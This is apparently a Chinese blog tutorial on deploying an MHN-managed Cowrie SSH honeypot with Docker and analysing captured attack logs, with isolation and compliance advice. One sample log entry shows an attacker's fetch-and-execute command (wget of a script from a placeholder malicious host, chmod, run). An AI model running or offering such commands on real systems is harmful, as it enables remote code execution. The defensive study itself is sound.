三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从零搭建高交互蜜罐集群:蚁圈部署与攻击行为分析实战

从零搭建高交互蜜罐集群:蚁圈部署与攻击行为分析实战

最近在安全研究圈里,一个名为“蚁圈”的蜜罐平台引起了我的注意。它并非传统意义上的单一蜜罐,而是一个集成了多种高交互蜜罐的分布式诱捕系统,旨在模拟真实业务环境,吸引和记录攻击者的行为。对于安全工程师、渗透测试人员以及对攻击者行为分析感兴趣的研究者来说,深入体验这类平台,不仅能理解攻击者的战术、技术与程序,更能反向提升自身的安全防御策略。本文将带你从零开始,搭建并深度体验“蚁圈”蜜罐,涵盖环境部署、核心组件分析、攻击行为捕获与日志分析全流程,最终形成一套可复用的实战笔记。

1. 背景与核心概念:什么是蜜罐与蚁圈?

在开始动手之前,我们有必要厘清几个核心概念,这有助于理解我们正在构建和体验的是什么。

蜜罐是一种主动防御技术。它本质上是一个故意暴露漏洞、配置缺陷或存有“诱人”数据的系统或服务。其核心目的不是直接阻止攻击,而是诱骗攻击者进入一个受控的、被严密监控的隔离环境。在这个环境中,攻击者的一切操作,包括扫描、登录尝试、命令执行、文件上传等,都会被无遗漏地记录下来。安全人员通过分析这些日志,可以了解最新的攻击手法、攻击工具、攻击目标,甚至攻击者的意图和身份。

蜜罐主要分为三类:

  • 低交互蜜罐:仅模拟服务的网络协议栈(如 Banner),不提供真实的操作系统或应用交互。资源消耗低,部署简单,但信息有限,容易被经验丰富的攻击者识别。
  • 中交互蜜罐:提供部分真实的服务功能,允许攻击者进行一些有限的交互,能捕获更多行为数据。
  • 高交互蜜罐:提供一个真实的、完整的操作系统或应用环境。攻击者可以像攻击真实目标一样进行操作。它能捕获最丰富、最真实的攻击数据,但部署复杂、资源消耗大,且存在被攻击者反控并作为跳板攻击内网的真实风险(需严格网络隔离)。

蚁圈则是一个开源的高交互蜜罐集群解决方案。它不是一个单一的蜜罐软件,而是一个框架,能够快速部署和管理多种高交互蜜罐节点(如 SSH、 RDP、 MySQL、 Redis、 Elasticsearch 等),并集中收集所有节点的攻击日志。其架构通常包含:

  1. 管理端:用于配置蜜罐节点、查看攻击仪表盘、管理告警策略。
  2. 节点端:部署在各个位置的独立蜜罐实例,负责与攻击者交互并上报数据。
  3. 数据库:存储所有的攻击日志、会话记录、文件样本等。
  4. 消息队列:用于管理端与节点端之间的异步通信,保证日志传输的可靠性。

体验“蚁圈”的价值在于,你可以在一个安全可控的环境下,观察真实互联网上的自动化扫描和手动攻击,这对于构建威胁情报、测试安全检测规则、理解攻击链具有极高的实践意义。

2. 环境准备与版本说明

本次实战我们将基于一台云服务器或本地虚拟机进行部署。为了获得最佳体验并避免安全风险,强烈建议使用独立的、与生产环境物理隔离的服务器

基础环境要求:

  • 操作系统:Ubuntu 20.04 LTS 或 22.04 LTS(本文以 Ubuntu 22.04 为例)
  • 服务器配置:最低 2核 CPU, 4GB 内存, 50GB 硬盘。管理端和多个蜜罐节点对资源有一定要求。
  • 网络:需要公网 IP 地址,以便暴露蜜罐服务到互联网。同时,务必确保该服务器所在网络与其他重要网络隔离。
  • 权限:需要root权限或具有sudo权限的账户。

核心软件版本:

  • Docker & Docker Compose:这是部署“蚁圈”类项目最便捷的方式。我们将使用 Docker 容器化部署各个组件。
    • Docker Engine: 20.10+
    • Docker Compose: v2.0+
  • Git:用于拉取项目代码。

首先,我们更新系统并安装必要的工具。

# 更新软件包列表 sudo apt update && sudo apt upgrade -y # 安装基础工具 sudo apt install -y curl wget git vim net-tools

接下来,安装 Docker 和 Docker Compose。

# 安装 Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER newgrp docker # 或重新登录使组权限生效 # 安装 Docker Compose Plugin (Compose V2) sudo apt install -y docker-compose-plugin # 验证安装 docker --version docker compose version

3. 核心组件部署与配置

市面上有多种开源的蜜罐框架,例如T-PotMHN等。为了更贴近“蚁圈”的概念(即多蜜罐集群),我们选择部署一个功能强大且活跃的开源项目:T-Pot。T-Pot 基于 Docker,集成了超过 20 种著名的蜜罐(如 Cowrie, Dionaea, ElasticPot, ADBHoney 等),并自带 ELK Stack(Elasticsearch, Logstash, Kibana)用于日志存储和可视化,以及用于管理的 Cockpit 和用于数据提取的 Spiderfoot。

然而,T-Pot 的安装脚本会接管整个系统。为了更灵活地理解组件,我们将采用另一种方式:部署一个更轻量但核心架构相似的项目Modern Honey Network (MHN)的管理端,并结合部署几个独立的高交互蜜罐节点。

3.1 部署 MHN 管理端

MHN 是一个用于管理和部署蜜罐的服务器应用程序。它提供了一个 Web 界面来管理蜜罐传感器(节点),并收集它们的攻击数据。

# 1. 克隆 MHN 仓库 git clone https://github.com/threatstream/mhn.git cd mhn # 2. 修改部署脚本,使用较新的 Ubuntu 镜像(可选,如果默认脚本报错) # 编辑 `scripts/install_hpfeeds.sh` 和 `scripts/install_mnemosyne.sh`, 将 `FROM ubuntu:14.04` 改为 `FROM ubuntu:20.04` # 3. 运行安装脚本 sudo ./install.sh

安装过程会交互式地询问一些问题:

  • Superuser email:设置管理员邮箱。
  • Superuser password:设置管理员密码。
  • Server base URL:输入你服务器的公网 IP 或域名,例如http://你的服务器IP
  • 其他选项通常可以按回车使用默认值。

安装完成后,MHN 的 Web 管理界面将在http://你的服务器IP上运行。使用刚才设置的邮箱和密码登录。

3.2 部署蜜罐节点(以 Cowrie SSH 蜜罐为例)

Cowrie 是一个中等交互的 SSH 和 Telnet 蜜罐,它能模拟一个真实的 shell 环境,记录攻击者输入的命令,并可以捕获上传的文件。

我们将在同一台服务器上,以 Docker 容器的方式部署一个 Cowrie 节点,并将其注册到 MHN 管理端。

首先,从 MHN 管理界面获取部署命令:

  1. 登录 MHN Web 界面。
  2. 点击顶部导航栏的 “Deploy”。
  3. 在 “Sensor Management” 部分,你会看到多种蜜罐的部署命令。找到 “Cowrie” 对应的curl命令,它看起来像这样:
    curl http://<你的MHN服务器IP>/api/script/?text=true -d “sensor_type=cowrie” | sudo bash
    注意:这个命令通常假设在节点服务器上直接运行,会安装一系列依赖并启动服务。为了更清晰,我们采用 Docker 方式。

然而,MHN 官方的 Docker 支持可能不完善。我们可以直接使用 Cowrie 的 Docker 镜像,并配置其将日志发送到 MHN。这里我们演示一个更直接的手动 Docker 部署,并模拟日志上报(实际生产需配置 hpfeeds)。

# 1. 创建一个用于 Cowrie 的目录 mkdir ~/cowrie-docker && cd ~/cowrie-docker # 2. 创建 docker-compose.yml 文件 cat > docker-compose.yml << ‘EOF’ version: ‘3.8’ services: cowrie: image: cowrie/cowrie:latest container_name: cowrie_ssh_honeypot restart: unless-stopped ports: - “2222:2222” # 将容器内SSH端口2222映射到主机2222端口 - “2223:2223” # Telnet 端口(可选) volumes: - ./cowrie-data:/cowrie/cowrie-git/var - ./cowrie-log:/cowrie/cowrie-git/log environment: - COWRIE_SSH_PORT=2222 - COWRIE_TELNET_PORT=2223 - COWRIE_SSH_HOSTNAME=my-server # 注意:此处缺少直接上报MHN的配置,需要额外配置hpfeeds客户端或通过其他方式转发日志。 EOF # 3. 启动 Cowrie 容器 docker compose up -d # 4. 查看容器日志,确认启动成功 docker logs -f cowrie_ssh_honeypot

现在,你的 SSH 蜜罐已经在你的服务器IP:2222端口运行。你可以尝试用 SSH 客户端连接,用户名密码随意输入,它都会记录你的“攻击”行为。

# 尝试连接自己的蜜罐(这会被记录为一次攻击尝试) ssh root@你的服务器IP -p 2222 # 输入任意密码,会提示登录失败,但操作已被记录。

3.3 配置日志上报(概念性步骤)

要让 Cowrie 的日志上报到 MHN,需要在其配置中启用hpfeeds输出,并配置 MHN 服务器的地址和密钥。这涉及到修改 Cowrie 的配置文件cowrie.cfg

由于我们使用 Docker,需要将自定义配置文件挂载到容器内。步骤较为复杂,简述如下:

  1. 从 MHN 管理界面 “Deploy” 页面,找到 “hpfeeds” 相关的配置信息(服务器、端口、标识、密钥)。
  2. 下载 Cowrie 的默认配置文件,在[output_hpfeeds]部分填入上述信息。
  3. 修改docker-compose.yml,将自定义的cowrie.cfg文件挂载到容器内的/cowrie/cowrie-git/etc/cowrie.cfg
  4. 重启容器。

由于篇幅限制,此处不展开详细配置。关键在于理解流程:蜜罐节点产生日志 -> 通过 hpfeeds 等协议 -> 发送到 MHN 管理端 -> 存入数据库并展示

4. 完整实战:模拟攻击与日志分析

部署完成后,我们不需要主动攻击他人。只需将蜜罐的端口(如 2222)在防火墙中打开,并暴露在公网,很快就会有自动化扫描脚本和攻击者上门。

4.1 观察攻击流量

我们可以使用tcpdump或直接查看 Docker 容器日志来观察实时连接。

# 查看 Cowrie 容器的实时日志(攻击者交互过程) docker logs -f cowrie_ssh_honeypot # 或者使用 tcpdump 监听蜜罐端口 sudo tcpdump -i any port 2222 -nn -v

几分钟到几小时内,你应该能看到大量的连接尝试,IP 来自全球各地。

4.2 分析 Cowrie 捕获的日志

Cowrie 的日志默认输出到容器内的/cowrie/cowrie-git/log/cowrie.json(我们已挂载到本地./cowrie-log)。这个 JSON 文件包含了丰富的会话信息。

# 进入挂载的日志目录 cd ~/cowrie-docker/cowrie-log # 查看最新的日志条目(使用 jq 工具格式化 JSON,需安装:sudo apt install jq) tail -f cowrie.json | jq .

一条典型的 SSH 登录失败日志可能如下:

{ “eventid”: “cowrie.login.failed”, “username”: “root”, “password”: “123456”, “timestamp”: “2023-10-27T08:15:30.123456Z”, “src_ip”: “45.33.xx.xx”, “src_port”: 54321, “session”: “abcd1234”, “message”: “Login attempt failed” }

如果攻击者成功“登录”(进入蜜罐交互环境),并输入了命令,你会看到cowrie.command.input事件:

{ “eventid”: “cowrie.command.input”, “input”: “wget http://malicious.site/x.sh -O /tmp/x.sh && chmod +x /tmp/x.sh && /tmp/x.sh”, “timestamp”: “...”, “src_ip”: “45.33.xx.xx”, “session”: “abcd1234” }

这清晰地展示了攻击者试图下载并执行恶意脚本的行为。

4.3 使用 MHN 控制台查看攻击地图(如果配置成功)

如果正确配置了日志上报,在 MHN 的 Web 界面中,你应该能看到:

  • 攻击地图:全球攻击源 IP 的地理位置可视化。
  • 攻击统计:各类攻击协议(SSH, Telnet, HTTP 等)的次数排名。
  • 攻击源排名:最活跃的攻击者 IP 列表。
  • Payload 列表:攻击者尝试使用的用户名/密码对、执行的命令、上传的文件哈希等。
  • 会话详情:可以回放单个攻击会话的全部操作过程。

这是集中化蜜罐管理的巨大优势,你可以从一个面板全局掌控所有蜜罐节点的状态。

5. 常见问题与排查思路

在部署和运行蜜罐过程中,你可能会遇到以下问题:

问题现象常见原因解决思路
MHN 安装脚本执行失败依赖下载超时、Ubuntu 版本过新/旧、端口冲突。1. 检查网络连接,尝试更换软件源。
2. 查看具体报错信息,搜索相关错误。
3. 确保 80、443、10000 等端口未被占用。
4. 考虑在 Ubuntu 20.04 上安装。
蜜罐容器启动后无连接防火墙未放行端口、云服务商安全组未配置、公网 IP 不正确。1.sudo ufw allow 2222(Ubuntu防火墙)。
2. 登录云服务器控制台,检查安全组/防火墙规则,添加入站规则允许 TCP:2222。
3. 使用curl ifconfig.me确认公网 IP,并从外部网络尝试telnet <IP> 2222
MHN 界面看不到蜜罐数据蜜罐节点未正确配置 hpfeeds 上报、MHN 的 hpfeeds 服务未启动、网络不通。1. 在 MHN 服务器运行sudo supervisorctl status查看mnemosynehpfeeds服务是否RUNNING
2. 检查蜜罐容器内配置文件的 hpfeeds 部分是否正确。
3. 在蜜罐节点尝试telnet <MHN_IP> 10000测试端口连通性。
Cowrie 日志文件无内容挂载卷权限问题、容器启动参数错误。1. 检查docker-compose.yml中 volumes 挂载路径是否正确。
2. 查看容器内日志路径docker exec cowrie_ssh_honeypot ls -la /cowrie/cowrie-git/log/
3. 确保本地挂载目录存在且 Docker 进程有读写权限。
服务器负载异常高遭受高强度 DDoS 攻击、某个蜜罐服务崩溃循环重启、Elasticsearch 索引过载。1. 使用htopdocker stats查看哪个进程/容器占用资源高。
2. 暂时关闭部分蜜罐端口或使用防火墙限流。
3. 为 Elasticsearch 配置 JVM 堆内存大小,定期清理旧索引。

6. 最佳实践与工程建议

将蜜罐用于研究和学习时,遵循以下最佳实践至关重要,既能保证效果,又能控制风险。

1. 严格网络隔离

  • 绝对法则:蜜罐服务器必须放置在与任何生产环境、办公网络隔离的独立网段或VPC中。
  • 出站限制:严格限制蜜罐服务器的出站连接。只允许其向日志收集服务器(如MHN)发送数据,以及必要的软件更新。禁止其访问内部网络任何资源。防止攻击者利用蜜罐作为跳板。

2. 法律与合规性

  • 明确目的:仅将蜜罐用于安全研究、教学和提升防御能力。不得用于主动攻击、陷害他人或任何非法目的。
  • 隐私声明:如果蜜罐捕获到可识别的个人信息(虽然概率低),需有合规的处理流程。研究数据应匿名化处理。
  • 管辖权:了解所在国家/地区关于设置可被攻击的系统的相关法律法规。

3. 系统安全加固

  • 最小化安装:蜜罐宿主服务器本身应保持最小化安装,关闭不必要的服务。
  • 定期更新:定期更新宿主机的操作系统、Docker 及所有蜜罐镜像,修补已知漏洞。
  • 监控宿主:除了监控蜜罐日志,也要监控宿主机本身的系统日志、登录记录和资源使用情况,防止攻击者逃逸出容器。

4. 数据管理与分析

  • 日志集中化:像我们使用 MHN 或 ELK 一样,务必建立集中的日志收集和分析系统。分散的日志没有价值。
  • 数据备份:定期备份捕获的日志、恶意文件样本等数据。
  • 威胁情报产出:将捕获的恶意 IP、攻击指纹、恶意文件哈希、C2 服务器地址等,整理成威胁情报(如 STIX 格式),用于丰富本地的威胁情报库或防火墙黑名单。
  • 设置告警:对关键攻击行为(如特定敏感命令执行、特定漏洞利用尝试)设置告警,及时通知。

5. 蜜罐维护

  • 多样性:不要只部署一种蜜罐。部署 SSH、 RDP、 Web、 数据库等多种类型的蜜罐,以捕获更全面的攻击面。
  • 真实性:适当定制蜜罐的 Banner、欢迎信息、文件系统内容,使其更像一个真实的、维护不善的系统,提高诱捕成功率。
  • 定期重置:定期重置蜜罐环境(如重启容器),清除攻击者留下的持久化后门,并获取“新鲜”的攻击数据。

通过本次从零搭建到深度体验“蚁圈”式蜜罐集群的旅程,我们不仅亲手部署了高交互的 SSH 蜜罐,更深入理解了蜜罐作为主动防御工具的核心价值——从攻击者的视角审视自身防御。关键在于,蜜罐不是“设好就忘”的设备,它需要持续的维护、严谨的隔离和深入的数据分析。下一步,你可以尝试集成更多类型的蜜罐(如 ElasticPot 用于 Elasticsearch 漏洞, ADBHoney 用于 Android 调试桥攻击),构建更复杂的诱捕网络,并尝试将分析后的威胁情报自动同步到你的 WAF、IDS 或防火墙,真正形成“看见威胁、理解威胁、阻断威胁”的闭环。记住,蜜罐世界犹如一个微观的黑暗森林,你所观察到的每一丝动静,都可能成为加固真实世界城墙的一块砖石。

← 返回列表